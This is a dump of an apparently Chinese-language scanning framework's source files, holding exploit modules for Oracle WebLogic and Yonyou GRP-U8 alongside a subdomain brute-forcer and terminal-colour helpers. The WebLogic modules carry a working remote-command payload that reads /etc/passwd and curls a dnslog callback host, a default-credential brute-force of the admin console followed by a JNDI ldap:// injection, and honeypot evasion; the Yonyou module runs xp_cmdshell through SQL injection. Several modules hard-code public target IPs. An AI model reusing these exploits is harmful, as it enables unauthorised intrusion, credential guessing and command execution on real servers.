32 | self.vulpath_14883_1=r'''/console/css/%252e%252e%2fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')'''
33 | # self.cmd_14883_1='cmd:cat /etc/passwd'
34 | self.cmd_14883_1='cmd:head -1 /etc/passwd'
35 | self.flag_14883_1='root:x:0'
36 |
37 | self.cmd_14883_2_dns='curl http://{prefix}.wls.%s'%self.dnslog
38 | self.cmd_14883_2_touch='touch ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/css/9.txt'
39 | self.vulpath_14883_2=r'''/console/css/%252e%252e%2fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('{}');");'''
40 | self.flag_14883_2_dns=200
41 | self.flag2_14883_2_dns=404
42 | # 执行成功后的服务器,返回的状态码和包体都不一样。
43 | # 有的返回302,有的返回200,有的返回404
44 | # 包体也不一样,各个不同
45 | # 而且基于我们这样的具有回显的攻击技术,有的蜜罐会直接将
46 | # 各类意味着利用成功的数据(/etc/passwd、ipconfig、ifconfig等)显示出来,
47 | # 这就是抓取别人的poc的方法(https://42.194.230.121:1099/)
48 | # 所以,没法通过状态码、包体来判断是否利用成功
49 | # 应该通过dnslog的显示,来判断
50 |
51 |
52 | # 使用touch生成文件,然后读取文件是否存在来确定,也不靠谱...
53 | # 由于touch文件为空,而有一些服务器在读取不到文件时不会报错,也是返回200 空
54 | self.checkurl_14883_2_touch='/console/framework/skins/wlsconsole/css/9.txt'
55 | self.flag_14883_2_touch=200
56 | self.flag2_14883_2_touch=0
57 |
58 |
59 | def raw_httpget(self,url,headers):
60 | # url = http://12313.123.13.123:80/1.html
61 | host=self.rc_host.search(url).group() # 12313.123.13.123
62 | port=url.find(':',len('http://'),url.find('/',len('http://')))
63 | if port==-1:
64 | port='80' # 默认
65 | path=url[url.find(host)+len(host):]
66 | else:
67 | port=url[port+1:url.find('/',len('http://'))] # 80
68 | path=url[url.find(host+':'+port)+len(host+':'+port):] # /1.html
69 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
70 | client.settimeout(10)
71 | client.connect((host, int(port)))
72 | headertxt=''
73 | headertxt+='Host:{}\r\n'.format(host)
74 | for k in headers:
75 | headertxt+='{}:{}\r\n'.format(k,headers[k])
76 | # print(headertxt)
77 | req_data='GET {} HTTP/1.1\r\n{}\r\n'.format(path,headertxt).encode('utf-8')
78 | client.send(req_data)
79 | resp_data=b''
80 | try:
81 | while 1:
82 | d=client.recv(1024)
83 | if d:
84 | resp_data+=d
85 | else:
86 | break
87 | resp_data=resp_data.decode('utf-8').split('\r\n\r\n')[1]
88 | except:
89 | resp_data=''
90 | return resp_data
91 |
92 |
93 | def c2Func(self,target):
94 | status=0
95 | returnData=''
96 | try:
97 | if target.startswith(('http://','https://')):
98 | # 这是为了拿到 这样格式的数据
99 | target=target+'/'
100 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
101 | else:
102 | target='http://'+target
103 | if 'root:x:0:0:root:/root:/bin/bash' in requests.post(url=target,verify=False,timeout=5).text:# 直接正常访问都存在敏感信息
104 | raise Exception('Honeypot!!') # 对抗蜜罐
105 | k,v=self.cmd_14883_1.split(':')
106 | headers=self.headers
107 | headers.update({k:v})
108 | # # 使用可回显的payload攻击,如果用无回显payload打了有效果,可以在bp中试一下。
109 | # url=target.strip('/')+self.vulpath_14883_1
110 | # resp_data=self.raw_httpget(url,headers)
111 | # if self.flag_14883_1 in resp_data:
112 | # returnData='%s is vuln(%s), %s result: %s'%(target,self.vulname,self.cmd_14883_1,resp_data)
113 | # status=1
114 |
115 | # # 使用无回显的payload攻击-dnslog
116 | prefix=self.rc_host.search(target).group()
117 | cmd=self.cmd_14883_2_dns.replace('{prefix}',prefix)
118 | url=target.strip('/')+self.vulpath_14883_2.format(cmd)
119 | resp=requests.post(url=url,headers=headers,verify=False,timeout=5)
120 | if self.flag_14883_2_dns == resp.status_code or self.flag2_14883_2_dns==resp.status_code:
121 | # 有时候可有可能是假的,返回该状态码不一定攻击成功
122 | returnData='%s is likely vuln(%s), vulnpath:%s ,u should check dnslog:%s'%(target,self.vulname,url,prefix+'.'+self.dnslog)
123 | status=1
124 |
125 | # # 使用无回显的payload攻击-touch文件
126 | # url=target.strip('/')+self.vulpath_14883_2.format(self.cmd_14883_2_touch)
127 | # resp=requests.post(url=url,headers=headers,verify=False,timeout=5)
128 | # checkurl=target.strip('/')+self.checkurl_14883_2_touch
129 | # resp=requests.post(url=checkurl,headers=headers,verify=False,timeout=5)
130 | # if self.flag_14883_2_touch == resp.status_code and self.flag2_14883_2_touch== len(resp.text):
131 | # returnData='%s is vuln(%s), vulnpath:%s , touch file:%s'%(target,self.vulname,url,checkurl)
132 | # status=1
133 | except Exception as e:
134 | returnData=str(e)
135 | return status,returnData
136 |
137 | if __name__ == '__main__':
138 | target='http://192.168.199.137:7001'
139 | pocObj=c2Class()
140 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/weblogic/CVE-2021-2109.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import re
5 | import time
6 | requests.packages.urllib3.disable_warnings()
7 |
8 | class c2Class(object):
9 | def __init__(self):
10 | self.vulname = 'Weblogic rce in loginin(CVE-2021-2109)'
11 | self.vulsystem= 'Weblogic'
12 | self.vulsystemintro = 'WebLogic是美国Oracle公司出品的一个application server,'\
13 | '确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型'\
14 | '分布式Web应用。'
15 | self.vulversion = '10.3.6.0.0; 12.1.3.0.0; 12.2.1.3.0; 12.2.1.4.0; 14.1.1.0.0'
16 | self.fofa='app="Weblogic_interface_7001"'
17 | self.findtime='2021-01-2'
18 | self.cveid='CVE-2021-2109'
19 | self.refer= 'https://xz.aliyun.com/t/9049?page=1\nhttps://www.o2oxy.cn/3019.html'
20 | self.bbb='进一步利用,需要公网vps运行ldap服务,并在ldap服务目录下生成一个恶意java class文件'
21 | self.testisok=True
22 |
23 | if __file__[-3:]=='pyc':
24 | self._file=__file__[:-1]
25 | else:
26 | self._file=__file__
27 |
28 | self.dnslog='wqla55.dnslog.cn'
29 | self.vulndnslog=self.dnslog[::-1].replace('.',';',1)[::-1] # kd17ah.dnslog;cn
30 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
31 |
32 | self.headers = {
33 | 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
34 | 'Connection': "close",
35 | 'Content-Type': "application/json"}
36 | self.vulpath=r'/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(-ldap://{dnslog}/hello;AdminServer-)'
37 | # self.vulpath='/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(-ldap://%s/whocare;AdminServer-)'
38 | self.rc_host=re.compile('(?<=://).+?(?=[:/])')
39 | self.flag=200
40 |
41 | self.loginurl='/console/login/LoginForm.jsp'
42 | self.logintext='WebLogic'
43 | self.userlist=['weblogic','system','mary','joe','wlcsystem','wlpisystem','admin']
44 | self.pwdlist=['weblogic','welcomel','password','Oracle@123','security','wlcsystem','wlpisystem','admin','12345678']
45 |
46 | def init(self,host):
47 | flag=0
48 | url=host+self.loginurl
49 | try:
50 | req=requests.get(url=url,verify=False,allow_redirects=False,timeout=2)
51 | if req.status_code==200 and self.logintext in req.text:
52 | # print(host)
53 | flag=1
54 | # print(host)
55 | except:
56 | pass
57 | return flag
58 |
59 | def bp(self,host,userid,pwdid):
60 | # https://www.cnblogs.com/haq5201314/p/9297208.html
61 | cookie=''
62 | url=host+'/console/j_security_check'
63 | user=self.userlist[userid]
64 | pwd=self.pwdlist[pwdid]
65 | data='j_username={}&j_password={}&j_character_encoding=UTF-8'.format(user,pwd)
66 | datas={} # 必须设为位键值对,否则爆破失败
67 | for j in data.split('&'):
68 | key,value=j.split('=',1)
69 | datas[key]=value
70 | try:
71 | time.sleep(1)
72 | req=requests.post(url=url,data=datas,verify=False,allow_redirects=False,timeout=2)
73 | # print(req.text)
74 | if req.status_code==302 and 'console' in req.headers['Location'] and 'LoginForm.jsp' not in req.headers['Location']:
75 | print('%s:%s|%s'%(host,user,pwd))
76 | cookie=req.headers['Set-Cookie']
77 | # print(cookie)
78 | except:
79 | pass
80 | return cookie
81 |
82 | def exp(self,host,cookie):
83 | status=0
84 | headers=self.headers
85 | headers['Cookie']=cookie
86 | url=host+self.vulpath
87 | prefix=self.rc_host.search(url).group()
88 | dnslog='%s.%s'%(prefix,self.vulndnslog)
89 | vulurl=url.replace('{dnslog}',dnslog)
90 | try:
91 | resp=requests.get(url=vulurl,headers=headers,verify=False,timeout=10)
92 | # print(resp.text)
93 | # print(resp.status_code)
94 | if self.flag == resp.status_code:
95 | returnData='vulpath: %s. u can check dnslog: %s'%(vulurl,dnslog) #
96 | status=1
97 | except Exception as e:
98 | print(e)
99 | returnData=str(e)
100 | return status,returnData
101 |
102 |
103 | def c2Func(self,target):
104 | state=0
105 | result_data=''
106 | if not target.startswith('*'):
107 | step=0
108 | else:
109 | step=int(target[1:2])
110 | data=target[2:]
111 | if step==0:
112 | if target.startswith(('http://','https://')): # 这是为了拿到 这样格式的数据
113 | host=target+'/'
114 | host=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
115 | else:
116 | host='http://'+target
117 | if self.init(host)==0:
118 | return state,result_data
119 | result_data='*1'
120 | userid=0
121 | pwdid=0
122 | cookie=''
123 | result_data+='%s|%d|%d|%s'%(host,userid,pwdid,cookie)
124 | state=-1
125 | return state,result_data
126 | elif step==1:
127 | result_data='*1'
128 | host,userid,pwdid,cookie=data.split('|')
129 | userid=int(userid)
130 | pwdid=int(pwdid)
131 | cookie=self.bp(host,userid,pwdid)
132 | if cookie!='':
133 | result_data='*2'
134 | result_data+='%s|%d|%d|%s'%(host,userid,pwdid,cookie)
135 | state=-1
136 | return state,result_data
137 | pwdid+=1
138 | if pwdid==len(self.pwdlist):
139 | userid+=1
140 | if userid==len(self.userlist):
141 | return state,result_data
142 | else:
143 | pwdid=0
144 | else:
145 | pass
146 | result_data+='%s|%s|%s|%s'%(host,userid,pwdid,cookie)
147 | state=-1
148 | return state,result_data
149 | elif step==2:
150 | host,userid,pwdid,cookie=data.split('|')
151 | state,info=self.exp(host,cookie)
152 | if state==0:
153 | state,info=self.exp(host,cookie)# 如果失败,就再来一次
154 | if state==1:
155 | user=self.userlist[int(userid)]
156 | pwd=self.pwdlist[int(pwdid)]
157 | result_data='%s is vuln(%s), u/p: %s/%s. %s'%(host,self.vulname,user,pwd,info)
158 | return state,result_data
159 |
160 |
161 |
162 | if __name__ == '__main__':
163 | target='*2https://202.152.186.6|0|0|aa'
164 | pocObj=c2Class()
165 | print(pocObj.c2Func(target))
166 |
--------------------------------------------------------------------------------
/pocmodules/yonyou/grp-u8-rce.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import re
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'Yonyou GRP-U8 sqli and rce(2020-09)'
10 | self.vulsystem= 'Yonyou GRP-U8' # ERP-enterprise resource plan 企业资源规划 GRP-goverment resource plan 政府资源规划
11 | self.vulsystemintro = '用友GRP-U8行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。'
12 | self.vulversion = ''
13 | self.fofa='app="用友-GRP-U8"' # 或者 title="*GRP-U8*"
14 | self.findtime='2020-09-18'
15 | self.cveid=''
16 | self.refer= 'https://www.cnblogs.com/yuzly/p/13675224.html\nhttps://blog.csdn.net/qq_37602797/article/details/110695423\nhttps://nosec.org/home/detail/4561.html'
17 | self.bbb='XXE漏洞,源于应用在解析XML输入时没有禁止外部实体载入,导致可加载恶意外部文件。'
18 | self.pyv=3
19 | self.testisok=True
20 |
21 | self.vulpath='/Proxy'
22 | self.headers={'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0;)','Content-Type': 'application/x-www-form-urlencoded'}
23 | self.cmd='whoami'
24 | self.sqli_rce="exec xp_cmdshell '%s'"%self.cmd
25 | self.sqli_info="select user,db_name(),host_name(),@@version"
26 | self.payload='''cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataData%s'''%self.sqli_rce
27 | self.rc_output=re.compile(r'(?<=).+?(?=)')
28 | # self.rc_output_rce=re.compile(r'(?<=这样格式的数据
39 | target=target+'/'
40 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
41 | else:
42 | target='http://'+target
43 | try:
44 | url=target.strip('/')+self.vulpath
45 | resp=requests.post(url=url,data=self.payload,headers=self.headers,verify=False,timeout=5)
46 | # print(resp.status_code)
47 | resp_content=str(resp.content)
48 | # print(resp_content)
49 | if self.flag == resp.status_code and self.flag2 in resp_content:
50 | result=''
51 | for i in self.rc_output.findall(resp_content):
52 | result=result+i
53 | # print(resp.status_code)
54 | returnData='%s is vuln(%s),%s:%s'%(url,self.vulname,self.cmd,result)
55 | status=1
56 | except Exception as e:
57 | # print(e)
58 | returnData=str(e)
59 | return status,returnData
60 |
61 | if __name__ == '__main__':
62 | target='http://39.99.243.39:88/Proxy'
63 | pocObj=c2Class()
64 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/premodules/demo.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | class c2Class(object):
4 | '''
5 | __init__用来放置一些通用的数据,例如:漏洞名称、漏洞涉及系统、漏洞CVE编号、漏洞payload、漏洞验证路径
6 | '''
7 | def __init__(self):
8 | self.vulname = 'demo'
9 | self.vulsystem= ''
10 | self.vulversion = ''
11 | self.refer= ''
12 | self.testisok=True
13 |
14 | self.vulpath=''
15 | self.payload=''
16 | self.verifypath=''
17 | self.flag=''
18 |
19 | '''
20 | c2Func函数解析
21 | c2Func函数接收目标target,进行处理
22 | 返回状态statue、数据returnData
23 | > 状态statue允许4个值(定义于lib/code/static.py):
24 | RETRY(重试)=-1
25 | FAIL(失败)=0
26 | SUCCESS(成功)=1
27 | MORETRY(成功,且有目标需要重试)=10
28 |
29 | > 数据returnData允许3种类型: 'str' [str-list] (str|str-list,str|str-list)
30 | > str一般为字符串对象,也允许是可以通过str()转换为string类型的对象(类定义了__str__方法)
31 | > str-list则为上诉对象的列表
32 |
33 | demo场景1:
34 | 检测目标A是否存在漏洞vul
35 | 存在漏洞: status=1,returnData='%s has vul'%A
36 | 不存在漏洞: status=0,returnData=''
37 |
38 | demo场景2:
39 | 爆破目标端口
40 | 无法访问,返回: status=0,returnData=''
41 | 发现一个端口: status=1,returnData='80'
42 | 发现多个端口: status=1,returnData=['80','8080','9001']
43 |
44 | demo场景3:
45 | 检测域名a.com(1级域名)的2、3级域名
46 | target为1级域名,程序生成大量需要爆破的2级域名,并返回: status=-1,returnData=[a.a.com,b.a.com,c.a.com,%col%.a.com ...]
47 | target为2级域名,程序检测发现不存在该域名,返回: status=0,returnData=''
48 | target为2级域名,程序检测发现存在该域名,并继续生成大量需要爆破的3级域名,返回: status=10,returnData=('www.a.com',[a.www.a.com,b.www.a.com,c.www.a.com,%col%.www.a.com ...])
49 | target为3级域名,程序检测发现不存在该域名: status=0,returnData=''
50 | target为3级域名,程序检测发现存在该域名: status=1,returnData='image.www.a.com'
51 |
52 |
53 | 注意:由于当前程序的运行路径和本模块文件不一致,
54 | 所以如果需要读取外部文件a.txt,应该使用如下方法:
55 | 1、直接使用a.txt的绝对路径进行读取
56 | 2、将a.txt放置在本文件目录下,获取本文件的目录`os.path.dirname(os.path.abspath(__file__))`并os.path.join拼接a.txt,进行读取
57 | 3、将a.txt放置在data/目录下,可通过data/a.txt 进行读取
58 | '''
59 | def c2Func(self,target):
60 | status = 0
61 | returnData = ''
62 | return status,returnData
63 |
64 | if __name__ == '__main__':
65 | target='hello'
66 | pocObj=c2Class()
67 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/premodules/fget-web-all.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import re
4 | requests.packages.urllib3.disable_warnings()
5 |
6 | class c2Class(object):
7 | def __init__(self):
8 | self.isRelease=True
9 | self.protocol=('http://','https://')
10 | self.ok_protocol=(' self.startlevel+self.depth:
72 | return 0,''
73 | # 根域需要子域赋值
74 | if self.rootdomain == cdomain:
75 | keepcheck = self.sdbGenerate(cdomain)
76 | return -1,keepcheck
77 | # 替换占位符
78 | for r in self.regex_list:
79 | if r in cdomain:
80 | keepcheck=[]
81 | for i in self.regex_list[r]:
82 | keepcheck.append(domainClass(cdomain.count('.'),cdomain.replace(r,i,1)))
83 | return -1,keepcheck
84 | # 进行查询
85 | try:
86 | answers = resolver.query(cdomain)
87 | if answers:# 查询成功
88 | if cdomain in self.find_subdomains:
89 | raise Exception('Repeat domain') # 如果存在则报异常
90 | self.find_subdomains.add(cdomain)
91 | ips = ', '.join(sorted([answer.address for answer in answers]))
92 | # info = cdomain + '->' + ips
93 | info = [cdomain]
94 | if cdomain.count('.') == self.startlevel+self.depth: #达到深度
95 | # return 1,cdomain+'->'+ips # 直接返回
96 | return 1,cdomain # 直接返回
97 | keepbrute = []
98 | try: # 查询cname
99 | answers = resolver.query(cdomain,'cname')
100 | cname = answers[0].target.to_unicode().rstrip('.')
101 | if cname.endswith(self.rootdomain) and cname not in self.find_subdomains: # 根域之下且不是已发现的域名
102 | self.find_subdomains.add(cname)
103 | info.append(cname)
104 | keepbrute.append(domainClass(cname.count('.'),cname))
105 | except Exception as e:
106 | pass
107 | # 下一个深度的子域赋值
108 | keepbrute.extend(self.sdbGenerate(cdomain))
109 | return 10,(info,keepbrute)
110 | except dns.resolver.NoNameservers as e: # ns不可访问
111 | return -1,domainClass(cdomain.count('.'),cdomain)
112 | except dns.exception.Timeout as e:# 查询延时
113 | self.timeout_comain[cdomain] = self.timeout_comain.get(cdomain, 0) + 1
114 | if self.timeout_comain[cdomain] <=1:
115 | return -1,domainClass(cdomain.count('.'),cdomain)
116 | except (dns.resolver.NoAnswer,dns.resolver.NXDOMAIN) as e: # 查询不到域名
117 | pass
118 | except dns.name.EmptyLabel as e:
119 | pass
120 | except Exception as e:
121 | # print(e)
122 | pass
123 | return 0,''
124 |
125 | # 可信dns服务器检测
126 | def test_server(self,server,dns_servers):
127 | resolver = dns.resolver.Resolver(configure=False)
128 | resolver.lifetime = resolver.timeout = 5.0
129 | resolver.nameservers = [server]
130 | try:
131 | answers = resolver.query('public-dns-a.baidu.com')
132 | if answers[0].address != '180.76.76.76':
133 | raise Exception('Incorrect DNS response')
134 | try:
135 | resolver.query('false.domain.123.123.baidu.com')
136 | except Exception as e:
137 | dns_servers.append(server)
138 | except Exception as e:
139 | pass
140 | # 子域集生成
141 | def sdbGenerate(self,rdomain):
142 | keepbrute=[]
143 | for s in self.subs:
144 | keepbrute.append(domainClass(rdomain.count('.')+1,s+'.'+rdomain))
145 | return keepbrute
146 |
147 |
148 | if __name__ == '__main__':
149 | target="gzport.com"
150 | pocObj=c2Class()
151 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/requirement.txt:
--------------------------------------------------------------------------------
1 | gevent
2 | requests
3 | func_timeout
--------------------------------------------------------------------------------
/thirdparty/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/thirdparty/__init__.py
--------------------------------------------------------------------------------
/thirdparty/ansistrm.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import logging
3 | import os
4 | import re
5 |
6 | if os.name =='nt':
7 | import ctypes
8 |
9 | class ColorizingStreamHandler(logging.StreamHandler):
10 | # color_map 为ansi转义序列中色彩的代码
11 | color_map={
12 | 'black':0,
13 | 'red':1,
14 | 'green':2,
15 | 'yellow':3,
16 | 'blue':4,
17 | 'magenta':5,
18 | 'cyan':6,
19 | 'white':7
20 | }
21 | # level_map 为日志记录各级别的对应ansi转义序列(背景色,字体色,字体强度)
22 | level_map={
23 | logging.DEBUG:(None,'blue',False),
24 | logging.INFO:(None,'green',False),
25 | logging.WARNING:(None,'yellow',None),
26 | logging.ERROR:(None,'red',None),
27 | logging.CRITICAL:('red','While',None),
28 | }
29 | csi='\x1b[' # ansi转义序列的前缀
30 | reset='\x1b[0m' # 当ansi转义序列为\x1b[0m时,则输出使用默认格式
31 |
32 | disable_coloring=False # 禁止彩色输出,默认为否
33 |
34 |
35 | # @property将函数转换为属性
36 | # is_tty 当前流为终端且允许彩色输出,返回true
37 | @property
38 | def is_tty(self):
39 | isatty=getattr(self.stream,'isatty',None)
40 | return isatty and isatty() and not self.disable_coloring
41 |
42 | # 在logging.__file__下,打开__init__.py,找到emit函数
43 | # 可以看出来,emit函数 将记录进行格式化,然后输出
44 | # 而首先,我们进行彩色输出的第一步,需要给记录添加上彩色ANSI转义序列
45 | # 然后需要进行 彩色输出
46 | # 也就是说:我们先需要修改emit函数,使其调用专门的彩色输出
47 | # 所以我们在这里进行重构
48 | def emit(self,record):
49 | try:
50 | message=self.format(record) #将记录进行格式化,后面我们会重构format方法,使得format可以根据需要给记录添加上彩色ANSI转义序列
51 | stream=self.stream
52 | if not self.is_tty: #如果不是终端,则做些简单处理就直接输出
53 | if message and message[0]=="\r":
54 | message=message[1:]
55 | stream.write(message)
56 | else: #终端的话,调用专用彩色输出函数
57 | self.output_colorized(message)
58 | stream.write(getattr(self,'terminator','\n')) #写入流 尾随符
59 | self.flush() #将内容从缓存写入流中
60 | except (KeyboardInterrupt, SystemExit):
61 | raise
62 | except IOError:
63 | pass
64 | except:
65 | self.handleError(record)
66 |
67 | # 接下来,我们需要构造彩色输出函数
68 | if not os.name == "nt": # 如果不是windows系统,则unix终端一般原生支持ansi转义序列,故而输出函数只需要直接write即可
69 | def output_colorized(self,message):
70 | self.stream.write(message)
71 | else:
72 | ansi_escape=re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') #通过这个正则,可以找到输出内容中的转义序列部分和日志记录部分
73 | nt_color_map={
74 | 0:0x00,
75 | 1:0x04,
76 | 2:0x02,
77 | 3:0x06,
78 | 4:0x01,
79 | 5:0x05,
80 | 6:0x03,
81 | 7:0x07,
82 | } # 因为windows控制端的颜色代码和ansi转义序列的颜色代码并不是一一对应的,所以需要进行映射
83 |
84 | def output_colorized(self,message):
85 | message_parts=self.ansi_escape.split(message)
86 | write=self.stream.write
87 | handle=None
88 | file_descripto=getattr(self.stream,'fileno',None)
89 | if file_descripto is not None:
90 | file_descripto=file_descripto()
91 | if file_descripto in (1,2):
92 | handle=ctypes.windll.kernel32.GetStdHandle(-10-file_descripto)
93 | while message_parts:
94 | text=message_parts.pop(0)
95 | if text:
96 | write(text)
97 | if message_parts:
98 | ansi_escape_parms=message_parts.pop(0)
99 | if handle is not None:
100 | ansi_escape_parms=[int(p) for p in ansi_escape_parms.split(';')]
101 | color=0
102 | for p in ansi_escape_parms:
103 | if 40<=p<=47:
104 | color|=self.nt_color_map[p-40]*0x10
105 | elif 30<=p<=37:
106 | color|=self.nt_color_map[p-30]
107 | elif p==1:
108 | color|=0x08
109 | elif p==0:
110 | color=0x07
111 | else:
112 | pass
113 | ctypes.windll.kernel32.SetConsoleTextAttribute(handle,color)
114 | def colorize(self,message,record):
115 | if record.levelno in self.level_map and self.is_tty:
116 | bg,fg,bold=self.level_map[record.levelno]
117 | ansi_escape_parms=[]
118 | if bg in self.color_map:
119 | ansi_escape_parms.append(str(self.color_map[bg]+40))
120 | if fg in self.color_map:
121 | ansi_escape_parms.append(str(self.color_map [fg]+30))
122 | if bold in self.color_map:
123 | ansi_escape_parms.append('1')
124 | if ansi_escape_parms and message:
125 | if message.lstrip()!=message:
126 | prefix=re.search(r'^\s+',message).group(0)
127 | message=message[len(prefix):]
128 | else:
129 | prefix=""
130 | message="%s%s"%(prefix,''.join((self.csi,';'.join(ansi_escape_parms),'m',message,self.reset)))
131 | return message
132 | def format(self,record):
133 | message=logging.StreamHandler.format(self,record)
134 | return self.colorize(message,record)
--------------------------------------------------------------------------------
/thirdparty/colorama/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/thirdparty/colorama/__init__.py
--------------------------------------------------------------------------------
/thirdparty/colorama/ansi.py:
--------------------------------------------------------------------------------
1 | '''
2 | This module generates ANSI character codes to printing colors to terminals.
3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code
4 | '''
5 |
6 | CSI = '\033['
7 |
8 | def code_to_chars(code):
9 | return CSI + str(code) + 'm'
10 |
11 | class AnsiCodes(object):
12 | def __init__(self, codes):
13 | for name in dir(codes):
14 | if not name.startswith('_'):
15 | value = getattr(codes, name)
16 | setattr(self, name, code_to_chars(value))
17 |
18 | class AnsiFore:
19 | BLACK = 30
20 | RED = 31
21 | GREEN = 32
22 | YELLOW = 33
23 | BLUE = 34
24 | MAGENTA = 35
25 | CYAN = 36
26 | WHITE = 37
27 | RESET = 39
28 |
29 | class AnsiBack:
30 | BLACK = 40
31 | RED = 41
32 | GREEN = 42
33 | YELLOW = 43
34 | BLUE = 44
35 | MAGENTA = 45
36 | CYAN = 46
37 | WHITE = 47
38 | RESET = 49
39 |
40 | class AnsiStyle:
41 | BRIGHT = 1
42 | DIM = 2
43 | NORMAL = 22
44 | RESET_ALL = 0
45 |
46 | Fore = AnsiCodes( AnsiFore )
47 | Back = AnsiCodes( AnsiBack )
48 | Style = AnsiCodes( AnsiStyle )
49 |
50 |
--------------------------------------------------------------------------------
/thirdparty/colorama/ansitowin32.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import re
3 | import sys
4 |
5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
6 | from .winterm import WinTerm, WinColor, WinStyle
7 | from .win32 import windll
8 |
9 |
10 | if windll is not None:
11 | winterm = WinTerm()
12 |
13 |
14 | def is_a_tty(stream):
15 | return hasattr(stream, 'isatty') and stream.isatty()
16 |
17 |
18 | class StreamWrapper(object):
19 | '''
20 | Wraps a stream (such as stdout), acting as a transparent proxy for all
21 | attribute access apart from method 'write()', which is delegated to our
22 | Converter instance.
23 | 意思就是,包装了流,重载了write方法。
24 | '''
25 | def __init__(self, wrapped, converter):
26 | # double-underscore everything to prevent clashes with names of
27 | # attributes on the wrapped stream object.
28 | # 使用双下划线做为属性的前缀,以区分原流对象的属性。
29 | self.__wrapped = wrapped
30 | self.__convertor = converter
31 |
32 | def __getattr__(self, name):
33 | return getattr(self.__wrapped, name)
34 |
35 | def write(self, text):
36 | self.__convertor.write(text)
37 |
38 |
39 | class AnsiToWin32(object):
40 | '''
41 | Implements a 'write()' method which, on Windows, will strip ANSI character
42 | sequences from the text, and if outputting to a tty, will convert them into
43 | win32 function calls.
44 | 实现一个'write()'方法,该方法在Windows上从文本中删除ANSI字符序列,如果输出到控制
45 | 台终端,则将其转换为win32函数调用。
46 | '''
47 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])')
48 |
49 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
50 | # The wrapped stream (normally sys.stdout or sys.stderr)
51 | # 被包装的流
52 | self.wrapped = wrapped
53 |
54 | # should we reset colors to defaults after every .write()
55 | # 是否应该在每次write()之后将颜色重置为默认值?
56 | self.autoreset = autoreset
57 |
58 | # create the proxy wrapping our output stream
59 | # 创建一个包装我们输出流的代理
60 | self.stream = StreamWrapper(wrapped, self)
61 |
62 | on_windows = sys.platform.startswith('win')
63 |
64 | # should we strip ANSI sequences from our output?
65 | # 我们应该从输出中去掉ANSI序列吗?
66 | if strip is None:
67 | strip = on_windows
68 | self.strip = strip
69 |
70 | # should we should convert ANSI sequences into win32 calls?
71 | # 我们应该把ANSI序列转换成win32调用吗?
72 | if convert is None:
73 | convert = on_windows and is_a_tty(wrapped)
74 | self.convert = convert
75 |
76 | # dict of ansi codes to win32 functions and parameters
77 | # dict的ansi代码到win32的函数和参数。-
78 | self.win32_calls = self.get_win32_calls()
79 |
80 | # are we wrapping stderr?
81 | # 我们要包装stderr吗?
82 | self.on_stderr = self.wrapped is sys.stderr
83 |
84 |
85 | def should_wrap(self):
86 | '''
87 | True if this class is actually needed. If false, then the output
88 | stream will not be affected, nor will win32 calls be issued, so
89 | wrapping stdout is not actually required. This will generally be
90 | False on non-Windows platforms, unless optional functionality like
91 | autoreset has been requested using kwargs to init()
